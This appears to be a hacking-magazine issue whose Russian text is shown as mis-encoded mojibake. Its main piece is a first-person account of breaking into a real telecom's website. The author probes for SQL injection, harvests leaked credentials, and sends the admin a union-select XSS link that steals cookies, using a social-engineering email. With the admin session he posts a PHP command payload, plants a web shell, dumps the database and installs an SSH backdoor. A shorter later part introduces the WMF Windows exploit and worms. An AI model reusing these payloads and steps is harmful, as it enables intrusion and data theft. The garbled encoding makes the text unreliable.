ÍÎÂÎÃÎÄÍÈÉ ÄÀÌÏ ÓÊÐÒÅËÅÊÎÌÀ ÏÅÐÂÛÅ ØÀÃÈ Âñå, ÷òî ìíå íóæíî áûëî îò ñåðâåðà www.ukrtelecom.ua, — ýòî íå ñëàâà íåèçâåñòíîãî õàêåðà, íå äåôåéñ ïîñåùàåìîãî ñàéòà è äàæå íå âîçìîæíîñòü çàòðîÿíèòü ïàðó òûñÿ÷ ïîñåòèòåëåé. Âñå, ÷òî ìíå áûëî íóæíî, — áàçà äàííûõ ñî âñåìè ïàññàìè è êàðòàìè îïëàòû. Ïåðåä òåì êàê ïðèñòóïèòü ê àêòèâíûì äåéñòâèÿì, ÿ ñòóêíóë ê îäíîìó çíàêîìîìó, êîòîðûé òîðãîâàë ïðîêñÿìè, è ïîïðîñèë ó íåãî äîñòóï ê ñåðâèñó. Íàöåïèâ íîñîê íà áðàóçåð, ÿ íàáðàë â àäðåñíîé ñòðîêå www.ukrtelecom.ua è íà÷àë òåñòèòü ñàéò íà áàãè. Ïåðâîå, ÷òî áðîñèëîñü ìíå â ãëàçà, — ññûëêà âèäà www.ukrtelecom.ua/ua/hot_news/?id=673. Äóìàþ, ��û ïîíèìàåøü, ïî êàêîé ïðè÷èíå ýòîò ëèíê ïðèâëåê ìîé âçãëÿä :). Îäíàêî ïðîãðàììèñòû íå áûëè ñîâñåì óæ êëèíè÷åñêèìè äåáèëàìè, çíà÷åíèå ýòîé ïåðåìåííîé íîðìàëüíî îáðàáàòûâàëîñü, è ïðîâåñòè ýëåìåíòàðíóþ SQL-injection àòàêó ó ìåíÿ íå ïîëó÷èëîñü. Äàëåå ìîé âçãëÿä ïðèâëåê ôîðóì www.ukrtelecom.ua/ua/ offers/forum. Ê ñîæàëåíèþ, àäìèíèñòðàòîðû Óêðòåëåêîìà íå îñîáåííî æàëîâàëè áåñïëàòíûå ïðîåêòû âðîäå IPB, phpBB èëè Vbulletin, ïîýòîìó íå ñòàëè óñòàíàâëèâàòü ýòè ñîìíèòåëüíûå áîðäû, à ñîçäàëè ÷òî-òî ñàìîïèñíîå. Èíòåðåñíî, ÷òî ó íèõ èç ýòîãî ïîëó÷èëîñü. Ñåé÷àñ çàöåíèì. ÀÊÒÈÂÍÎÅ ÎÁÙÅÍÈÅ ÍÀ ÔÎÐÓÌÅ Ïåðåìåùàÿñü ïî ñòðàíèöàì ôîðóìà, ÿ èñêàë ññûëêè ñïåöèàëüíîãî âèäà. Äîâîëüíî áûñòðî ÿ íàùóïàë ñòðàíèöó ñ àäðåñîì www.ukrtelecom.ua/ua/offers/forum/list.php?f=7. ×åðåç äâå ñåêóíäû ñòàëî ÿñíî, ÷òî ÿ ïîïàë ïðÿìî â òî÷êó: ñêðèïò áûë óÿçâèì. Ïîñòàâèâ ïîñëå ñåìåðêè êàâû÷êó, ÿ óâèäåë çíàêîìóþ óæå âñåì îøèáêó:

ÍÀ ÓÊÐÀÈÍÅ, ÊÀÊ È Â ÁÎËÜØÈÍÑÒÂÅ ÑÒÐÀÍ ÁÛÂØÅ“ ÃÎ ÑÑÑÐ, ÑËÎÆÈËÀÑÜ ÍÅÇÄÎÐÎÂÀß ÑÈÒÓÀÖÈß Ñ ÈÍÒÅÐÍÅÒ-ÒÐÀÔÈÊÎÌ. ÊÀ×ÅÑÒÂÎ ÑÂßÇÈ ÏÐÎÑÒÎ ÎÒÂÐÀÒÈÒÅËÜÍÎÅ, À ÇÀ ÝÒÈ ÓÑËÓÃÈ Ñ ÍÅÁÎÃÀÒÛÕ ÓÊÐÀÈÍÖÅ ÒÐÅÁÓÞÒ ÄÎÂÎËÜÍÎ ÂÅÑÎÌÛÅ ÑÓÌÌÛ ÇÀ ÏÎËÜÇÎÂÀÍÈÅ ÑÅÒÜÞ. Ê ÍÀÌ ÎÁÐÀÒÈËÑß ×ÓÂÀÊ, ÊÎÒÎÐÎÃÎ ÑËÎÆÈÂØÀßÑß ÑÈÒÓÀÖÈß ÀÁÑÎËÞÒÍÎ ÍÅ ÓÑÒÐÀÈÂÀËÀ. ÍÅ ÄÎËÃÎ ÄÓÌÀß, ÎÍ ÏÎËÎÌÀË ÑÅÐÂÅÐ ÊÐÓÏÍÅÉØÅÃÎ ÓÊÐÀÈÍÑÊÎÃÎ ÎÏÅÐÀÒÎÐÀ ÑÂßÇÈ È ÏÎËÓ×ÈË

ÎÃÐÎÌÍÛÉ ÄÀÌÏ Ñ ÏÎËÅÇÍÎÉ ÈÍÔÎÐÌÀÖÈÅÉ Åäèíñòâåííîå, ÷òî ñðàçó áðîñèëîñü â ãëàçà, — íà ñåðâåðå èñïîëüçîâàëàñü áàçà äàííûõ PostgreSQL, à íå ïîïñîâûé MySQL. Íî íàì ýòî ñîâåðøåííî íå âàæíî ñåé÷àñ. Ñóòü çàêëþ÷àåòñÿ â òîì, ÷òî õîòü áàã ÿ è íàøåë, íî èñïîëüçîâàòü åãî ó ìåíÿ íå ïîëó÷èëîñü. Âêëþ÷åííàÿ îïöèÿ magic_quotes èñêëþ÷àëà ïîäñòàíîâêó êàâû÷åê, à ýêñïåðèìåíòû ñ unionîáúåäèíåíèÿìè íè ê ÷åìó õîðîøåìó íå ïðèâîäèëè (íà ñàìîì äåëå, òàêàÿ ñèòóàöèÿ âîçíèêàåò äîâîëüíî ÷àñòî; ñêîðî â Õàêåðå òû óâèäèøü ñòàòüþ î ñàìîì ðàöèîíàëüíîì è ýêñòðåìàëüíîì èñïîëüçîâàíèè sql-injection. — Ïðèì. Íèêèòîñà). Ïîñëå íåóäà÷è ñ SQL-áàãîì ÿ ðåøèë çàþçàòü îáû÷íûé CGI-ñêàíåð íà perl’e, êîòîðûé ÿ çàïóñòèë íà çàáóãîðíîì øåëëå â Àâñòðàëèè.

Warning: pg_exec(): Query failed: ERROR: parser: parse error at or near «\’» at character 50 in ÀÍÀÒÎÌÈß ÑÅÐÂÅÐÀ /usr/local/www/data/ua/offers/forum/lib/sql.in Ñêàíåð ïîñëå ìèíóòû ðàçäóìèé âûäàë ìíå c on line 13 ñëåäóþùèé ñïèñîê èíòåðåñíûõ àäðåñîâ: 060

http://site/robots.txt http://site/htaccess http://site/scripts/ http://site/test/ http://site/img/ http://site/logs/ Ïåðâûé æå ôàéë ìåíÿ î÷åíü îáðàäîâàë. Êàê òû çíàåøü, â ôàéëå ñ òàêèì íàçâàíèåì íàõîäèòñÿ èíôîðìàöèÿ äëÿ ðîáîòîâ ïîèñêîâûõ ìàøèí, òî åñòü èíôîðìàöèÿ î òîì, êàêèå êàòàëîãè èíäåêñèðîâàòü ìîæíî, à êàêèå — íåëüçÿ. Ýòî ñäåëàíî ñïåöèàëüíî äëÿ òîãî, ÷òîáû óáåðå÷ü èíäåêñèðóåìûå ðåñóðñû îò ïóáëèêàöèè çàðûòûõ ñâåäåíèé, êîòîðûå íå ïðåäíàçíà÷åíû äëÿ âñåãî Èíòåðíåòà. Ñîäåðæèìîå ôàéëà òû ìîæåøü íàáëþäàòü íà ñêðèíå. Ìîãó ñêàçàòü, ÷òî èíôîðìàöèÿ èç íåãî çäîðîâî ïîìîãëà ìíå. ×òîáû òåáå áûëî ïðîùå îðèåíòèðîâàòüñÿ, ïðèâåäó çäåñü êóñîê ýòîãî ôàéëà:

XÀÊÅÐ 02 /86/ 06


Îòâåòñòâåííîñòü çà âñå òâîè äåéñòâèÿ ëåæèò òîëüêî íà òåáå ñàìîì. Äàâàéòå æèòü äðóæíî è ñîáëþäàòü çàêîíû íàøèõ ñòðàí, ðåáÿòà.

ÊÓÑÎÊ ÔÀÉËÀ ROBOTS.TXT User-Agent: * Disallow: /banner/ /css/ /img/ /media/ /psd/ /scripts/ /edit/ /errors/ User-Agent: TeleportPro User-Agent: wget User-agent: webzip User-agent: webmirror User-agent: webcopy Disallow: / User-Agent: yandex User-Agent: rambler User-Agent: aport Disallow: /banner/ /css/ /img/ /media/ /psd/ /scripts/ /edit/ /errors/ /de/ /en/ /ua/  äèðåêòîðèÿõ banner, img è media íå áûëî íè÷åãî èíòåðåñíîãî, êðîìå âñÿêèõ àíèìàøåê, êàðòèíîê è ôîòîê.  ïàïêå css, êàê íåñëîæíî ïîíÿòü, ðàñïîëàãàëèñü òàáëèöû ñòèëåé. À âîò â äèðåêòîðèè /edit áûëà àäìèíêà, îäíàêî òóäà ëîõîâ íå ïóñêàëè. Íóæåí áûë ïàðîëü. Ïåðåéäÿ ïî àäðåñó: www.ukrtelecom.ua/htaccess, ÿ óâèäåë ñîäåðæèìîå .htaccess’à:

AuthType Basic AuthName «Site***» AuthUserFile /usr/local/www/.siteuser Require valid-user

íàéäåííûé sql-inj áàã íå ñðàçó ïóñòèë ìåíÿ íà ñåðâåð

ïåðåìåííûå servlet-îêðóæåíèÿ

Ïîñëå ýòîãî íàñòàë ÷åðåä ñìîòðåòü access_log. Èç ýòîãî ôàéëà ÿ ïî÷åðïíóë êó÷ó èíòåðåñíîé èíôîðìàöèè: ñìîòðåë, êàê êòî-òî ïûòàëñÿ âçëîìàòü ýòîò ñàéò, è ñêàíèðîâàë ñåðâåð X-spider’îì.  ïðîöåññå çàíèìàòåëüíîãî ÷òåíèÿ ëîãîâ ÿ íàòîëêíóëñÿ íà ñëåäóþùèé àäðåñ, êîòîðûé ìåíÿ çäîðîâî çàèíòåðåñîâàë: www.ukrtelecom.ua/jserv/admin. Íà ýòîé ñòðàíèöå íàõîäèëñÿ òåêñò, â êîòîðîì ïî-àíãëèéñêè îáúÿñíÿëîñü, ÷òî ýòà äèíàìè÷åñêàÿ ñòðàíèöà ñôîðìèðîâàíà ApacheJServ servlet engine è íà íåé íàõîäèòñÿ èíôîðìàöèÿ î ñîñòîÿíèè ðàçëè÷íûõ ïåðåìåííûõ servlet-îêðóæåíèÿ. Íà ñòðàíèöå áûëî òðè ññûëêè:

* webmaster.site (current) * billing.site * ajpv12://localhost:8007  ïåðâûõ äâóõ íè÷åãî èíòåðåñíîãî ÿ íå óâèäåë. Ïåðåéäÿ íà ñòðàíèöó ñ êîíôèãîì ajpv12 è êëèêíóâ ïî ññûëêå Servlet Zones root, ÿ óâèäåë ñëåäóþùóþ èíôó: ß ñðàçó îáðàòèë âíèìàíèå íà ñòðîêè User=billing, Password=gnillib. Ñîãëàñèñü, âïîëíå ðåçîííî ïîäóìàòü, ÷òî ÿ ïîëó÷èë ïàðîëü ìèíèìóì ê áàçå äàííûõ, à ìîæåò, îí ïîäîéäåò åùå êóäà-íèáóäü. Íî íå òóò-òî áûëî. Ñíà÷àëà ÿ ïðèêîííåêòèëñÿ ê SSH, ïîòîì — ê ïîñòãðåñó ê FTP è ê àäìèíêå, íî âåçäå áûë ïîëíûé îáëîì.


ÂÇËÎÌ ///// ISSUE

Ïî÷èòàòü î ñèíòàêñèñå ôàéëà robots.txt ìîæíî çäåñü: www.robotstxt.org/wc/norobots.html

ÁÅÑÏÎËÅÇÍÛ ÏÅÐÅÌÅÍÍÛ Å ÄËß ÌÅÍß Å SERVLET-ÎÊÐ ÓÆÅÍÈß Server Name webmaster.sm.ukrtel.net ApJServManual FALSE (AUTOMATIC OPERATION) ApJServProperties /usr/local/etc/apache/ jserv/jserv.properties ApJServDefaultProtocol ajpv12 (PORT 8007) ApJServDefaultHost localhost (ADDR 127.0.0.1) ApJServDefaultPort 8007 ...

Äîâîëüíî çàáàâíàÿ øòóêà. Ïî àäðåñó: www.whitehouse.gov/robots.txt ìîæíî íàéòè ôàéë robots.txt, â êîòîðîì çàïðåùàåòñÿ èíäåêñàöèÿ öåëîé êó÷è êàòàëîãîâ âðîäå /fotos/iraq è ò.ä.

www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+union+select+ 0,0,0,0,0,0,0,0,0,%27%3C%73%63%72%69%70%74%3E%61%6C% 65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6 F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%27— Îñòàëîñü ñôîðìèðîâàòü òàêîé ëèíê, êîòîðûé áû ïåðåäàâàë êóêèñû ñêðèïòó, à ñêðèïò âûñûëàë íà ìûëî. Ñäåëàòü ýòî ïðîñòî ýëåìåíòàðíî, è ìû ýòî óæå ìíîãîêðàòíî ïðîäåëûâàëè íà ñòðàíèöàõ æóðíàëà. ß ïîäãîòîâèë php-ñêðèïò, êîòîðûé çàïèñûâàåò âñþ ïåðåäàâàåìóþ åìó èíôîðìàöèþ â ôàéë, à òàêæå çàìåíèë JS-êîä òàêèì îáðàçîì, ÷òîáû îí ïåðåäàâàë document.cookie GET-çàïðîñîì ìîåìó ñêðèïòó. Îñòàëîñü òîëüêî ïîðàáîòàòü ñîöèàëüíûì èíæåíåðîì. ÑÎÖÈÀËÜÍÎ ÈÍÆÅÍÅÐÈÌ :) ß çàðåãèñòðèðîâàë ëåâûé ïî÷òîâûé àêêàóíò Oleg2003@mail.ru è íàïèñàë àäìèíó html-ïèñüìî ïðèìåðíî ñëåäóþùåãî ñîäåðæàíèÿ:

ÂÑÅ ÂÎÇÂÐÀÙÀÅÒÑß Ïîñëå òàêîé íåóäà÷è ìíå ïðèøëîñü ñåðüåçíî çàäóìàòüñÿ. Ïîäóìàë, ÷òî ðàç óæ ÿ íàùóïàë SQL-injection, ìîæíî îïÿòü ïîïðîáîâàòü ïðîêà÷àòü ýòó äûðêó. Íî ó ìåíÿ íå áûëî èíôîðìàöèè îá èìåíàõ òàáëèö, ïîëåé è, âîîáùå, íèêàê íå ïîëó÷àëîñü ïðîâåñòè ïîëíîöåííóþ UNIONñêëåéêó ëåâîãî çàïðîñà ñ îðèãèíàëüíûì. Íè÷åãî òîëêîâîãî ó ìåíÿ íå ïîëó÷àëîñü, è ÿ ðåøèë îòëîæèòü ïðîäîëæåíèå àòàêè íà íåîïðåäåëåííîå âðåìÿ. ×åðåç íåñêîëüêî äíåé ÿ ðàçãîâîðèëñÿ ñ _1nf3ct0r_, êîòîðûé ïîâåäàë î ñâîåé ñòàòüå â äåêàáðüñêîì íîìåðå. Òàì îí ðàññêàçûâàë îá àòàêå SiXSS, êîòîðóþ óñïåøíî ïðîâåë â ñèòóàöèè, î÷åíü ïîõîæåé íà ìîþ. Âêðàòöå íàïîìíþ, î ÷åì òàì øëà ðå÷ü. Ñóòü àòàêè çàêëþ÷àåòñÿ â òîì, ÷òî ïðè âîçìîæíîñòè îðãàíèçàöèè UNION-çàïðîñà ìîæíî âûâåñòè êëèåíòó çàðàíåå ïîäãîòîâëåííóþ ñòðîêó ñ ÿäîâèòûì JS-êîäîì, êîòîðûé, ê ïðèìåðó, óâåäåò êóêèñû èëè çàëüåò ïîëüçîâàòåëþ òðîÿíà. Èìåííî ýòèì ïóòåì ÿ è ðåøèë ïîéòè. Áûñòðî ñôîðìèðîâàë çàïðîñ, êîòîðûé âûâîäèë ìåññàãó ñ êóêèñàìè:

www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+union+select +0,0,0,0,0,0,0,0,0,’<script>aler(document.cookie)</script>— è ïåðåâåë ñèìâîëüíûå äàííûå â øåñòíàäöàòåðè÷íûé êîä.  èòîãå ïîëó÷èëîñü ñëåäóþùåå:

Çäðàâñòâóéòå. ß îáíàðóæèë íà âàøåì ñàéòå îøèáêó, “ êîòîðàÿ âîçíèêàåò ïðè îáðàùåíèè ê àäðåñó: <ahref=»www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+uni on+select+0,0,0,0,0,0,0,0,0,%27%3C%73%63%72%69%70%..skiped ..%69%70%74%3E%27»>http://site/ua/offers/forum/read.php?f=5</a>. Ïðèìèòå ìåðû. Âàñèëèé.

Ïîñëå ýòîãî ÿ çàñëàë àäìèíó ïèñüìî è ñòàë æäàòü îòâåòà íà ìîé çàïðîñ, îäíàêî îí ïîñëåäîâàë òîëüêî ÷åðåç íåñêîëüêî äíåé. Àäìèí ïèñàë, ÷òî íèêàêîé îøèáêè òàì íåò è â ïîìèíå è ÷òî âñå êðóòî ðàáîòàåò. Äà, îí áûë ïðàâ. Äåéñòâèòåëüíî, ðàáîòàëî âñå íà óðà, â òîì ÷èñëå è ìîé ñêðèïò, êîòîðûé çàïèñàë åãî êóêèñû â ôàéë. Íàñòàëà ïîðà ñóåòèòüñÿ, ñìîòðåòü, ÷òî òàì âíóòðè, à òî âäðóã ñåññèÿ îãðàíè÷åíà ïî âðåìåíè. Åùå ÿ îïàñàëñÿ, ÷òî òàì ìîæåò áûòü ðåàëèçîâàíà ïðèâÿçêà ê IP. Îäíàêî óäà÷à áûëà íà ìîåé ñòîðîíå: ê ip ïðèâÿçêè íå áûëî, à ñåññèÿ ÷èñëèëàñü àêòèâíîé, è ÿ, ïîäìåíèâ êóêèñû, ñóìåë çàëîãèíèòüñÿ ïîä àäìèíîì. THE END  àäìèíêå íå áûëî íè÷åãî îñîáåííîãî. Ìîæíî áûëî çàïîñòèòü íîâîñòü.  îáùåì, êàê îáû÷íî. Ôóíêöèè äëÿ çàêà÷èâàíèÿ ôàéëà â ïàíåëè íå áûëî, è ýòî ìåíÿ ðàññòðàèâàëî. Âïðî÷åì, ÿ äîâîëüíî áûñòðî íàøåë âûõîä èç ýòîé ñèòóàöèè. Äîæäàâøèñü ãëóáîêîé íî÷è, êîãäà àäìèíèñòðàòîð ñïèò, à íà ñàéòå ïî÷òè íåò ïîñåòèòåëåé, ÿ ñîçäàë íîâûé ïîñò ñî ñëåäóþùèì ñîäåðæàíèåì: <? passthru(«id»);?>. Ïîñëå òîãî êàê ÿ íàæàë êíîïêó «reload», íà ãëàâíîé ñòðàíèöå Óêðòåëåêîìà óâèäåë âûâîä êîìàíäû id, êîòîðûé ãîâîðèë, ÷òî ìîè ïðèâèëåãèè — nobody. Âûïîëíÿòü êîìàíäû ñêðèïòîâ index.php áûëî äîâîëüíî ïàëåâíûì çàíÿòèåì, ïîýòîìó ÿ áûñòðî íàïèñàë ñêðèïò è çàëèë â òåêóùóþ äèðåêòîðèþ web-øåëë îò RST. Óáåäèâøèñü, ÷òî øåëë íîðìàëüíî çàãðóçèëñÿ è ðàáîòàåò, ÿ ïîòåð ïàëåâíûé ïîñò, è òåïåðü àäìèí íè÷åãî óæå íå ìîã çàìåòèòü. Çààðõèâèðîâàâ âñå PHP-ñêðèïòû, ÿ ñëèë èõ ñåáå íà æåñòêèé äèñê è íà÷àë èçó÷àòü. Ïðàêòè÷åñêè ñðàçó â êó÷å ñðèïòîâ íàòîëêíóëñÿ íà íóæíûé ìíå, â êîòîðîì íàøåë çàïèñü ïðèìåðíî òàêîãî ñîäåðæàíèÿ:

$db_host = «localhost»; $db_name = «databasename»; $db_login =»login»; $db_pswd = «password»;

áàã â èñõîäíèì âèäå

 ïåðåìåííûõ õðàíèëèñü ïàðîëè äëÿ ïîäêëþ÷åíèÿ ê áàçå äàííûõ. Çàëèâ Network PHP-file Manager, ÿ ñäåëàë äàìï áàçû äàííûõ è ñëèë åãî íà äðóãîé õîñò. Ñòîèò ëè ãîâîðèòü, ÷òî ïàðîëè îò áä ïîäîøëè ê SSH, è ÿ çàáýêäîðèë ñèñòåìó äîâîëüíî áûñòðî è íàäåæíî. BINARY YOUR’S z

ôàéë robots.txt ñàéòà Óêðòåëåêîìà

062

SiXSS-àòàêà â äåéñòâèè

XÀÊÅÐ 02 /86/ 06


ÕÀÊÅÐ ÐÀÑÑÊÀÇÛÂÀÅÒ ///// ISSUE

064

XÀÊÅÐ 02 /86/ 06


ÊÎÍÔÅÐÅÍÖÈß ÕÀÊÅÐΠÍåäàâíî â Ãîñóäàðñòâåííîé Äóìå ñîñòîÿëàñü äîâîëüíî çàáàâíàÿ âñòðå÷à ïîä íàçâàíèåì «Õàêåðû â Ðîññèè». Îðãàíèçàòîðû âñòðå÷è ïðåäëîæèëè ñîáðàâøèìñÿ îáñóäèòü âîçìîæíîñòü èñïîëüçîâàíèÿ õàêåðñêîãî ïîòåíöèàëà Ðîññèè äëÿ ðåøåíèÿ ãåîïîëèòè÷åñêèõ çàäà÷ âðîäå âçëîìà òåððîðèñòè÷åñêèõ ñàéòîâ è áîðüáû ñ äåòñêîé ïîðíîãðàôèåé. Òàêóþ âñòðå÷ó ìû íå ìîãëè ïðîïóñòèòü è îòïðàâèëè íà ýòîò ìèòèíã äâóõ ñâîèõ ïðåäñòàâèòåëåé — Ôîðáà è NSD. Ïîìèìî íàøèõ ðåáÿò, íà âñòðå÷å ïðèñóòñòâîâàëè æóðíàëèñòû, ïðåäñòàâèòåëü Óïðàâëåíèÿ «Ê», øêîëüíèêèè ó÷èòåëÿ, óíèâåðñèòåòñêèå ïðåïîäû , à òàêæå îäèí ýêñ-õàêåð. Ìèòèíã ïîëó÷èëñÿ íà ñëàâó. Ó÷èòåëÿ òî è äåëî òðåáîâàëè ó îðãàíèçàòîðîâ êóïèòü êîìïüþòåðû èìåííî â èõ øêîëó, îáåùàÿ â îòâåò ïîäãîòîâèòü «ñòîëüêî õàêåðîâ, ñêîëüêî áóäåò íóæíî ñòðàíå». Êîãäà æå áîëåå ïîäêîâàííûå â òåõíè÷åñêîì ïëàíå ðåáÿòà íà÷èíàëè ãîâîðèòü î áîòíåòàõ è TCP/IP, ýòî âûçûâàëî íåãîäîâàíèå íåñ÷àñòíûõ ïðåïîäîâ, è òå âíîâü òðåáîâàëè êîìïüþòåðû äåòÿì. Óêð-Õûð äàæå çàäóìàë ïîðóãàòüñÿ ñ íèìè, çà ÷òî åìó îòêëþ÷èëè ìèêðîôîí. Òîëüêî NSD âûñêàçàëñÿ ïî äåëó: «Çàñòàâèòü õàêåðîâ ðàáîòàòü íà ãîñóäàðñòâî ìîæíî ëèáî ñ ïîìîùüþ äåíåã, ëèáî ïðè ïîìîùè ñèëîâûõ îðãàíîâ.» Ïîñëå ýòîãî ñîáðàâøèåñÿ ñêàçàëè, ÷òî íè îäèí èç ýòèõ ñïîñîáîâ â Ðîññèè íå ñðàáîòàåò, è ìîæíî áûëî óæå ðàñõîäèòüñÿ.

XÀÊÅÐ 02 /86/ 06

065


ÂÇËÎÌ ÂÇËÎÌ ///// ISSUE

ÂÑÅ Î WMF È ÑÀÌÎÌ ÎÁØÈÐÍÎÌ ÁÀÃÅ Â ÈÑÒÎÐÈÈ WINDOWS

ÂÎÇÌÎÆÍÎ,  ÍÎÂÎÃÎÄÍÅÌ ÏÅÐÅÏÎËÎÕÅ ÒÛ È ÍÅ ÇÀÌÅÒÈË, ÍÎ ÍÅÄÀÂÍÎ ÁÛËÀ ÎÁÍÀÐÓÆÅÍÀ ÑÀÌÀß ÊÐÓÏÍÀß ÄÛÐÀ ÇÀ ÂÑÞ ÈÑÒÎÐÈÞ ÑÓÙÅÑÒÂÎÂÀÍÈß WINDOWS. ÁÀà ÏÎÐÀÆÀÅÒ ÂÑÅ ÑÈÑÒÅÌÛ ÎÒ WINDOWS 3.X ÄÎ LONGHORN È ÄÀÆÅ, ÊÒÎ ÁÛ ÌÎà ÏÎÄÓÌÀÒÜ, UNIX! ÏÎ ÄÀÍÍÛÌ MCAFEE, ÍÀ 6 ßÍÂÀÐß 2006 ÃÎÄÀ ÁÛËÎ ÇÀÐÀÆÅÍÎ 6% ÌÀØÈÍ ÏÎ ÂÑÅÌÓ ÌÈÐÓ. È ÝÒÎ ÒÎËÜÊÎ ÍÀ×ÀËÎ, ÏÐÈßÒÅËÜ! ÂÐÅÌß ÐÀÇÎÁÐÀÒÜÑß Ñ ÒÅÌ, ÊÀÊ ×ÅÐÂÈ ÈÑÏÎËÜÇÓÞÒ ÍÎÂÛÉ ÁÀà ÄËß ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß, ÊÀÊ ÎÍÈ ÂÍÅÄÐßÞÒÑß Â ÑÈÑÒÅÌÓ È ÊÀÊ ÎÒ ÍÈÕ ÇÀÙÈÙÀÒÜÑß

066

XÀÊÅÐ 02 /86/ 06


TEXT ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ ÀÊÀ ÌÛÙÚÕ / /

WMF: ÁÀÃ ÃÎÄÀ

Ïî äàííûì F-Secure, ïåðâûé ýêñïëîéò ïîÿâèëñÿ 27.12.2005 íà www.unionseek.com, ãäå åãî òóò æå ïðèáèëè âìåñòå ñ ñàéòîì. Íî äæèí áûë âûïóùåí èç áóòûëêè, è êîïèè ýêñïëîéòà ïðîñî÷èëèñü â Èíòåðíåò, ïðî÷íî îáîñíîâàâøèñü íà www.metasploit.com è milw0rm.com ïîä èìåíåì «ie_xp_pfv_metafile».

 òîò æå äåíü Microsoft âûïóñòèëà áþëëåòåíü Vulnerability in Graphics Rendering Engine Could Allow Remote Code Execution, îôèöèàëüíî ïîäòâåðæäàþùèé íàëè÷èå óÿçâèìîñòè â ãðàôè÷åñêîé ïîäñèñòåìå, íî âìåñòî «ìèêñòóðû» ïðåäîñòàâèëà ëèøü îáåùàíèå âûïóñòèòü çàïëàòêó ê 10 ÿíâàðÿ, ìåæäó òåì î÷àãè ýïèäåìèè âñå ðàçðàñòàëèñü è ýêñïëîéòû îõâàòûâàëè óæå ïÿòü ñàéòîâ: www.unionseek.com, crackz.ws, www.tfcco.com, iframeurl.biz, beehappyy.biz, èç êîòîðûõ äî íàøèõ äíåé äîæèë òîëüêî www.tfcco.com, à âñåì îñòàëüíûì çëûå àäìèíèñòðàòîðû ñäåëàëè õàðàêèðè áåç àíåñòåçèè.

XÀÊÅÐ 02 /86/ 06

Ïîìèìî âñåãî îáåùàííîãî, â ñòàòüå, íà íàøåì äèñêå òû íàéäåøü ïîëíóþ âåðñèþ ñòàòüè Êðèñà îá ýòîì áàãå. Äåëî â òîì, ÷òî ñòàòüÿ ó íåãî ïî îáûêíîâåíèþ ïîëó÷èëàñü ïðîñòî íåâåðîÿòíûõ ðàçìåðîâ, è â æóðíàëå íàì ïðèøëîñü åå ïîäñîêðàòèòü. Ïîëíàÿ âåðñèÿ ñòàòüè Êðèñà ëåæèò íà íàøåì äèñêå — çàáèðàé, â÷èòûâàéñÿ.

Ñïóñòÿ 24 ÷àñà (òî åñòü 28 äåêàáðÿ) ïàðíè èç F-Secure óæå íàñ÷èòàëè òðè ðàçëè÷íûõ ìîäèôèêàöèè ýêñïëîéòà, óñëîâíî îáîçíà÷åííûõ W32/PFV-Exploit A, B è C. Íàäâèãàþùóþñÿ óãðîçó çàìåòèëè è äðóãèå ôèðìû.  ÷àñòíîñòè, McAfee îáíàðóæèëà äâà ýêñïëîéòà, êëàññèôèöèðîâàâ èõ êàê DownloaderASE è Generic Downloader.q.

Íà ñëåäóþùèé äåíü, 29 äåêàáðÿ, êîëè÷åñòâî ðàçíîâèäíîñòåé wmf-÷åðâåé ïåðåâàëèëî çà ïîëòèííèê, à ëåêàðñòâà âñå íå ñóùåñòâîâàëî. Ïðîãðàììèñòû èç Microsoft óæå ïåðåêîìïèëèðîâàëè GDI32.DLL, íî åùå íå óñïåëè åãî ïðîòåñòèðîâàòü. À òåì âðåìåíåì ýêñïëîéòû öâåëè è ðàçìíîæàëèñü. Äëÿ âðåìåííîãî ðåøåíèÿ ïðîáëåìû (workaround) Microsoft ïðåäëîæèëà ïîëüçîâàòåëåì ðàçðåãèñòðèðîâàòü áèáëèîòåêó shimgvw.dll, îòâå÷àþùóþ çà îáðàáîòêó èçîáðàæåíèé â Internet Explorer, Outlook Express, Google Desktop Search è íåêîòîðûõ äðóãèõ ïðèëîæåíèÿõ, îäíàêî ïðîãðàììû, íàïðÿìóþ âçàèìîäåéñòâóþùèå ñ GDI (íàïðèìåð, Irfan Viewer) îñòàâàëèñü óÿçâèìûìè, ê òîìó æå áåç shimgvw.dll èçîáðàæåíèÿ (äàæå ëåãàëüíûå) ïðîñòî íå îòîáðàæàëèñü. Ïðîãðàììà Windows Picture and Fax viewer ïîêàçûâàëà ïóñòîé ýêðàí, â êîòîðîì íå óãàäûâàëîñü íèêàêîãî îïòèìèçìà.

31 äåêàáðÿ, êîãäà ýïèäåìèÿ áóøåâàëà â ïîëíûé ðîñò, ñîçäàòåëü ëåãåíäàðíîãî äèçàññåìáëåðà IDA Pro, Èëüôàê Ãóèëüôàíîâ, âûïóñòèë hotfix, ëàòàþùèé äâèæîê ãðàôè÷åñêîé ïîäñèñòåìû ïðÿìî â ïàìÿòè, ÷òîáû âìåñòî èñïîëíåíèÿ çëîâðåäíîãî callback’à îíà âîçâðàùàëà ñîîáùåíèå îá îøèáêå.  ðåçóëüòàòå ñàéò Èëüôàêà (www.hexblog.com) íåìåäëåííî ðóõíóë îò íàïëûâà ïîñåòèòåëåé, ïîäíÿâ ïîïóëÿðíîñòü åãî âëàäåëüöà âî ìíîãî ðàç.  òîò æå äåíü áûë îáíàðóæåí ïåðâûé ÷åðâü, ðàñïðîñòðàíÿþùèéñÿ ïî MSNMessenger’ó ÷åðåç äûðó â ìåòàôàéëàõ è ðàññûëàþùèé ññûëêó íà xmas-2006 FUNNY.jpg, â äåéñòâèòåëüíîñòè ÿâëÿþùèéñÿ íèêàêèì íå jpg, à ñàìûì íàñòîÿùèì èíôèöèðîâàííûì wmf, óñòàíàâëèâàþùèì backdoor. Ê 11:54 GMT, ïî îöåíêàì Ëàáîðàòîðèè Êàñïåðñêîãî, ÷åðâü, ïðîçâàííûé IM-Worm, ñóìåë çàõâàòèòü 1000 ìàøèí-äðîíîâ (www.viruslist.com/en/weblog?dicuss=17689253 0&return=1), îäíàêî ýòî áûëè åùå öâåòî÷êè.

